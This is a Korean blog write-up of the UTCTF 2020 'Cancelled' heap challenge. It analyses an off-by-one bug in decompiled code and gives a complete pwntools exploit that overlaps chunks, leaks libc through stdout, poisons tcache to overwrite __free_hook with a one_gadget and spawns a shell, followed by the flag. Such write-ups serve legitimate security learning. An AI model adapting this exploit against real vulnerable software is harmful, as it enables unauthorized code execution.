SDJ( 수돈재 아님 ㅎ )

utctf 2020 - Cancelled 본문

write-up/pwnable

utctf 2020 - Cancelled

ShinDongJun 2020. 3. 9. 19:48

오랜만에 tcache 재밌게 풀게해준 문제.. 문제가 2.27 버전이길래 Ubuntu 18.04에서 풀었다.

 

보호기법은 전부 걸려있다.

 

IDA로 바이너리를 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
    __int64 v3; // rax
    int v5; // [rsp+14h] [rbp-Ch]
 
    setup(argc, argv, envp);
    v5 = 0;
    while ( !v5 )
    {
        prompt();
        v3 = get_long();
        if ( v3 == 1 )
        {
            add_person();
        }
        else if ( v3 == 2 )
        {
            cancel_person();
        }
        else
        {
            v5 = 1;
        }
    }
    return 0;
}

 

setup은 setvbuf로 초기 세팅해주는 함수고, 

prompt는 메뉴를 출력해주는 함수이다.

 

메뉴에는 단 두가지밖에 없는다.

1 - add_person()

2 - cancel_person()

이렇게 두가지가 있다.

 

각각을 분석해보자.

 

먼저 add_person()을 분석해볼텐데 맨 처음 IDA 의사코드가 뭔가 이상한점이 많아서 

구조체를 하나 만들고 분석을 진행했다.

 

구조체 info는 다음과 같이 생겼다

그거를 적용시킨후 아이다를 보면 다음과 같이 보이는데

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssize_t add_person()
{
    size_t v0; // rax
    __int64 v2; // [rsp+0h] [rbp-10h]
 
    v2 = get_index();
    printf("Name: ");
    fgets(people[v2].name, 0x14, stdin);
    printf("Length of description: ");
    v0 = get_long("Length of description: ");
    people[v2].length = v0 + 1;
    people[v2].address = malloc(v0);
    printf("Description: ");
    return read(0, people[v2].address, people[v2].length);
}

흐름을 보자면

people[25] 배열에 원하는 인덱스를 골라서

그 인덱스에 name에 이름 입력, 그리고 길이를 입력받아서 length자리에 길이 + 1 저장, 그리고 address자리에 malloc을 해서 주소를 저장한다음 read를 통해 길이 + 1만큼 address에 입력을 한다.

 

사실 누가봐도 취약점이 보인다.

heap에서 입력한 길이 + 1만큼 더 입력하게 되면서 물리적으로 붙어있는 청크의 size를 조작할 수 있게 된다. ( off by one )

 

내가 설명을 못해서.... 추가적인 설명을 더 해보자면

 

0x18 size 와 0x38 size 청크를 만들었을 때 힙에는저렇게 되어있는데

0x18 size는 0x19까지 read하기 때문에 free시키고 다시 할당할 경우

저렇게 0x41 size를 0x00 ~ 0xff 중 아무값으로 조작할 수 있게 된다.

 

 

다음으로 cancel_person() 함수를 분석해보면

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 *cancel_person()
{
    __int64 *result; // rax
    __int64 v1; // [rsp+8h] [rbp-8h]
 
    puts("Who should we cancel?");
    v1 = get_index();
    printf("%s is cancelled.\n"&people[v1]);
    free(people[v1].address);
    result = &people[0].address;
    people[v1].address = 0LL;
    return result;
}

 

우리가 원하는 index에 있는 사람을 cancel시키는 함수이다.

person을 add할 때 할당한 주소를 free시키는데 free하고 나서 0 으로 바꾸기 때문에 double free는 못한다.

 

 

 

exploit 흐름

1. off by one으로 chunk를 overlap시킨다.

2. fd를 stdout으로 조작해서 ( 1/16 ) leak을 한다.

3. 한번더 다른 청크를 overlap해서 fd를 free_hook으로 바꾼다

4. one_gadget을 free_hook에 덮는다.

5. free시킨다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
 
server = 1
 
if server:
    p = remote("binary.utctf.live"9050)
    t = 0.05
else:
    p = process('./pwnable')
    t = 0.03
 
def choice(idx):
    p.sendline(str(idx))
 
def get2long(idx):
    p.sendlineafter("Index: "str(idx))
 
def reg(idx, name, size, des):
    global t
    choice(1)
    get2long(idx)
    p.sendlineafter("Name: "str(name))
    p.sendlineafter("description: "str(size))
    p.sendafter("Description: "str(des))
    sleep(t)
 
def remove(idx):
    choice(2)
    get2long(idx)
 
reg(0'a'*0x80x18'a'*0x8)
reg(1'a'*0x80x418'a'*0x8)
reg(2'a'*0x80x48'a'*0x40)
reg(3'a'*0x80x18'a'*0x8)
reg(4'a'*0x80x18'a'*0x8)
 
remove(0)
 
reg(0'a'*0x80x18'a'*0x10 + p64(0+ '\x71')
 
remove(2)
remove(1)
 
reg(1'a'*0x80x418'a'*0x8)
 
# reg(5, 'a'*0x8, 0x18, p32(0xf7dd0760))
reg(5'a'*0x80x18, p16(0x5760))
 
reg(5'a'*0x80x48'\x60')
 
reg(6'a'*0x80x48, p64(0xfbad1800+ p64(0)*3 + '\x00')
 
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print "leak : " + hex(leak)
 
libc_base = leak - 0x3ed8b0
print "libc_base : " + hex(libc_base)
 
free_hook = libc_base + 0x3ed8e8
print "free_hook : " + hex(free_hook)
 
one = [0x4f2c50x4f3220x10a38c]
one_gadget = libc_base + one[1]
 
reg(7'a'*0x80x20'a'*0x8)
 
reg(8'b'*0x80x18'b'*0x8)
reg(9'b'*0x80x418'b'*0x8)
reg(10'b'*0x80x58'b'*0x8)
reg(11'b'*0x80x18'b'*0x8)
reg(12'b'*0x80x18'b'*0x8)
 
remove(8)
 
reg(8'b'*0x80x18'b'*0x10 + p64(0+ '\x81')
 
remove(10)
remove(9)
 
reg(9'b'*0x80x418'b'*0x8)
reg(13'b'*0x80x18, p64(free_hook))
reg(13'b'*0x80x58, p64(free_hook))
 
reg(14'b'*0x80x58, p64(one_gadget))
 
remove(0)
 
p.interactive()

 

FLAG : utflag{j1tt3rbUg_iS_Canc3l1ed_:(}

 

'write-up > pwnable' 카테고리의 다른 글

zer0pts ctf 2020 - hipwn  (0) 2020.03.10
utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - bof  (0) 2020.03.09
Aeroctf 2020 - Shell Me If You Can  (0) 2020.03.01
Comments